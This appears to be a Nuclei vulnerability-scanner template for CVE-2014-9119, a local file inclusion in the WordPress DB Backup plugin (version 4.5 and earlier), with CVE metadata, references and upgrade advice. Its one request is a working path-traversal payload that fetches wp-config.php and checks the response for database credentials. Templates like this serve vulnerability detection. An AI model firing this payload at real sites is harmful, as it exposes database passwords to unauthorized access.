id: CVE-2014-9119

info:
  name: WordPress DB Backup <=4.5 - Local File Inclusion
  author: dhiyaneshDK
  severity: medium
  description: |
    WordPress Plugin DB Backup 4.5 and possibly prior versions are prone to a local file inclusion vulnerability because they fail to sufficiently sanitize user-supplied input. Exploiting this issue can allow an attacker to obtain sensitive information that could aid in further attacks.
  impact: |
    Allows an attacker to read arbitrary files on the server.
  remediation: |
    Update WordPress DB Backup plugin to version 4.6 or higher.
  reference:
    - https://wpscan.com/vulnerability/d3f1e51e-5f44-4a15-97bc-5eefc3e77536
    - https://www.exploit-db.com/exploits/35378
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9119
    - https://wpvulndb.com/vulnerabilities/7726
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/99368
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-9119
    cwe-id: CWE-22
    epss-score: 0.16117
    epss-percentile: 0.96598
    cpe: cpe:2.3:a:db_backup_project:db_backup:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: db_backup_project
    product: db_backup
    framework: wordpress
  tags: cve2014,cve,lfi,wordpress,wp-plugin,wp,backup,wpscan,edb,db_backup_project,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/db-backup/download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a5a4baaa757ec4dd78eef02d88094e387051abba690c3c5bbec76fa062445721022100f021c43d1bbd768e8f7f026c9d1623ad40911edbd3c8fd24361e1458dfe622db:922c64590222798bb761d5b6d8e72950